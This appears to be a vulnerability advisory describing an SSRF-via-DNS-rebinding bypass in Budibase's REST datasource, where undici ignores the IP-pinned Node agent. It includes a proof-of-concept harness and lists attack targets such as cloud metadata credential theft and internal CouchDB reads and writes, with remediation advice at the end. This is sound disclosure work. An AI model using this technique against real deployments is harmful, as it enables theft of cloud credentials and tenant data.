Budibase: SSRF via DNS rebinding in the REST datasource integration

Summary

Budibase's central outbound-fetch guard (fetchWithBlacklist) prevents SSRF/DNS-rebinding by resolving the target hostname, checking every resolved IP against the blacklist, and pinning the connection to the validated IP. The pin is implemented as a Node http(s).Agent (makePinnedAgent). The fix for CVE-2026-54353 relies on this pin to stop DNS rebinding.

The REST datasource integration (@budibase/server) calls fetchWithBlacklist but performs the actual request with undici's fetch. undici does not support the Node agent option — it is silently ignored — and instead uses its own dispatcher, which re-resolves the hostname's DNS at connection time. As a result, the validated/pinned IP is never used on the REST datasource path, and the DNS-rebinding protection that CVE-2026-54353 added is silently defeated for the single most-used outbound path in Budibase.

An authenticated user who can configure/run a REST datasource (e.g. a builder/tenant) can use a rebinding hostname (public IP during validation, internal IP at connect) to make the server issue arbitrary, full-response HTTP requests to internal-only services — cloud metadata (IAM credential theft), the internal CouchDB/Redis/MinIO, and other internal endpoints — reading and, because REST datasources allow arbitrary method/body, writing or destroying internal data.

Details

The guard pins the validated IP via a Node agent — packages/backend-core/src/utils/outboundFetch.ts:

• resolveSafePinnedIp(url) resolves the hostname and checks every address against isBlacklisted, returning a single pinnedIp (lines ~39–53).
• makePinnedAgent(url, ip) builds a Node http.Agent/https.Agent whose lookup always returns pinnedIp, so a node-fetch connection can only reach the validated IP (lines ~55–68).
• fetchWithBlacklist passes that agent into the request: fetchFn(nextUrl, { ...nextRequest, agent: makePinnedAgent(nextUrl, pinnedIp) }) (lines ~186–192). Each redirect hop is re-validated and re-pinned in the loop.

The REST integration overrides the transport with undici, which ignores agent — packages/server/src/integrations/rest.ts:

• fetch is imported from undici (top-of-file import block, ~line 30).
• The request is made by overriding fetchFn (lines ~767–793):

  const setDispatcher = (requestInput, requestUrl) => ({
    ...requestInput,
    dispatcher: getDispatcher({ rejectUnauthorized, url: requestUrl }),
  })
  ...
  response = await coreUtils.fetchWithBlacklist(url, input, {
    fetchFn: async (requestUrl, requestInput) =>
      fetch(requestUrl, setDispatcher(requestInput, requestUrl)), // undici.fetch
  })
  

  The options object reaching undici.fetch is { ...nextRequest, agent: <pinned Node Agent>, dispatcher: <getDispatcher result> }. undici uses dispatcher and ignores agent.

The dispatcher does no IP pinning — packages/backend-core/src/utils/fetch.ts:

• getDispatcher → createDispatcher → (no proxy env) → createDirectAgent = new Agent({ connect: { rejectUnauthorized } }) (lines ~109–114, ~161–172, ~183). This is a plain undici Agent with no connect.lookup / no pin, so undici resolves the hostname's DNS itself at connect time.

Net effect (TOCTOU / DNS rebinding): fetchWithBlacklist validates the hostname → safe public IP and builds a pinned Node agent; the REST path then connects via undici, which re-resolves the same hostname independently. With a rebinding domain (TTL 0: public IP during validation, 127.0.0.1 / 169.254.169.254 / internal IP at connect), the request lands on an internal service — exactly the gap CVE-2026-54353's pin was meant to close.

Scope of impact / why it's REST-specific: rest.ts is the only caller that overrides fetchFn with undici. All other outbound sinks (automation outgoingWebhook/n8n/make/zapier/discord/slack, and AI-extract's processUrlFile) use the default node-fetch-based fetchWithBlacklist, which does honor the pinned agent and is not affected. REST datasource queries are the most common outbound path, and the response body is returned to the caller (full-response SSRF, not blind).

PoC

The PoC drives the real, unmodified guard code (outboundFetch.ts + fetch.ts, copied verbatim — sha256 verified) and reproduces the exact rest.ts call pattern. Only the ../blacklist module is stubbed to model the rebinding input (validation observes a safe public IP). Requires Node 18+.

# prerequisite: a Budibase checkout; set BB to its path
export BB=/path/to/budibase
mkdir ssrf-poc && cd ssrf-poc
SRC="$BB/packages/backend-core/src"

# 1) Copy the REAL guard code, verbatim (sha proves no edits)
mkdir -p real/utils real/blacklist
cp "$SRC/utils/outboundFetch.ts" real/utils/
cp "$SRC/utils/fetch.ts"         real/utils/

# 2) Scenario stub = the rebinding INPUT: validation sees a safe, non-blacklisted public IP
cat > real/blacklist/index.ts <<'EOF'
const SAFE = "203.0.113.10" // RFC5737 TEST-NET-3, not blacklisted -> validation passes
export async function resolveAddress(_a: string): Promise<string[]> { return [SAFE] }
export async function isBlacklisted(a: string): Promise<boolean> { return a !== SAFE }
EOF

# 3) Harness = REAL fetchWithBlacklist + REAL getDispatcher, exact rest.ts pattern
cat > entry.ts <<'EOF'
import http from "http"
import { fetch as undiciFetch } from "undici"
import { fetchWithBlacklist } from "./real/utils/outboundFetch" // REAL guard
import { getDispatcher } from "./real/utils/fetch"              // REAL dispatcher
async function main() {
  const server = http.createServer((_q, r) => r.end("INTERNAL_SECRET_RESPONSE"))
  await new Promise<void>(r => server.listen(0, "127.0.0.1", r))
  const port = (server.address() as any).port
  const target = `http://localhost:${port}/` // OS resolves localhost -> 127.0.0.1 at connect
  console.log(`[*] internal service 127.0.0.1:${port}; guard validates host -> 203.0.113.10 (safe), pins to it`)

  // (A) REST datasource path: undici fetch + real getDispatcher (exactly rest.ts).
  const restFetchFn = (u: string, i: any) =>
    undiciFetch(u, { ...i, dispatcher: getDispatcher({ url: u, rejectUnauthorized: true }) as any }) as any
  let A: string
  try { const r: any = await fetchWithBlacklist(target, { method: "GET" } as any, { fetchFn: restFetchFn }); A = `status ${r.status} body=${await r.text()}` }
  catch (e: any) { A = `ERROR ${e.message}` }
  console.log("(A) REST/undici path  ->", A)

  // (B) Negative control: default fetchFn (node-fetch) honors the pinned agent.
  let B: string
  try { const r: any = await fetchWithBlacklist(target, { method: "GET", timeout: 3000 } as any); B = `status ${r.status} body=${await r.text()}` }
  catch (e: any) { B = `ERROR ${e.message}` }
  console.log("(B) node-fetch path   ->", B)

  const bypass = A.includes("INTERNAL_SECRET_RESPONSE"), contained = !B.includes("INTERNAL_SECRET_RESPONSE")
  console.log(`\nRESULT: ${bypass && contained ? "PASS - undici path BYPASSES guard, node-fetch path CONTAINED" : "FAIL"}`)
  server.close(); process.exit(bypass && contained ? 0 : 1)
}
main()
EOF

# 4) Deps, bundle, run
npm init -y >/dev/null 2>&1
npm install undici@6 node-fetch@2 esbuild
npx esbuild entry.ts --bundle --platform=node --format=cjs --outfile=entry.cjs
node entry.cjs

Expected output (the port is the only variable):

[*] internal service 127.0.0.1:<random>; guard validates host -> 203.0.113.10 (safe), pins to it
(A) REST/undici path  -> status 200 body=INTERNAL_SECRET_RESPONSE
(B) node-fetch path   -> ERROR Failed to connect to resolved IP for localhost: network timeout at: http://localhost:<random>/

RESULT: PASS - undici path BYPASSES guard, node-fetch path CONTAINED

How to read it:

• (A) the real fetchWithBlacklist validated and pinned the safe public IP 203.0.113.10, yet the undici REST transport re-resolved localhost and reached 127.0.0.1 — the internal service responded → SSRF bypass.
• (B) the default node-fetch path honored the pin (forced to the unroutable 203.0.113.10) and never reached the internal service. The "Failed to connect to resolved IP for localhost" string is emitted by the real outboundFetch.ts, proving the pin works there. This is the negative control localizing the bug to the undici transport.

Real-world variant: instead of localhost, an attacker uses a domain they control with a 0-second TTL that returns a public IP during the guard's validation lookup and an internal IP (169.254.169.254, 127.0.0.1, internal CouchDB/Redis) at undici's connect-time lookup; the REST datasource query then returns the internal response body to the attacker.

Impact

Type: Server-Side Request Forgery via DNS rebinding (CWE-918 + CWE-367), full-response and with arbitrary HTTP method/body (REST datasources let the caller choose method, headers, and body).

Who is impacted: Any Budibase deployment on an affected version, especially multi-tenant / Budibase-Cloud-style hosting where builders/tenants are not trusted with host-internal access. The SSRF blacklist is the control that contains those users; this bypass defeats it.

Realistic worst case: An authenticated builder/tenant points a REST datasource at a rebinding host and makes the server:

• read cloud metadata (http://169.254.169.254/...) → steal IAM credentials → cloud account compromise;
• read the internal CouchDB (http://127.0.0.1:5984/_all_dbs, _users) → all tenants' apps, users, and secrets;
• using PUT/POST/DELETE against unauthenticated localhost services → create admin documents, modify or delete tenant databases / flush caches → integrity and availability loss for all co-tenants.

CVSS 3.1 Vector Justification

Notes: AC:H is the standard, defensible scoring for DNS rebinding; if rebinding is treated as reliable (TTL-0 frameworks), AC:L yields CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H. A conservative read-only interpretation is I:N/A:N.

Suggested remediation

Make the transport that actually performs the request honor the validated IP. In getDispatcher/rest.ts, construct the undici Agent with a connect: { lookup } (or custom connect) that returns only the pinnedIp resolved by fetchWithBlacklist (i.e., mirror makePinnedAgent for undici), so the dispatcher cannot re-resolve DNS; alternatively, re-check the resolved peer IP against isBlacklisted inside the undici connect callback. The Node-agent pin must not be relied upon when the request is issued through undici.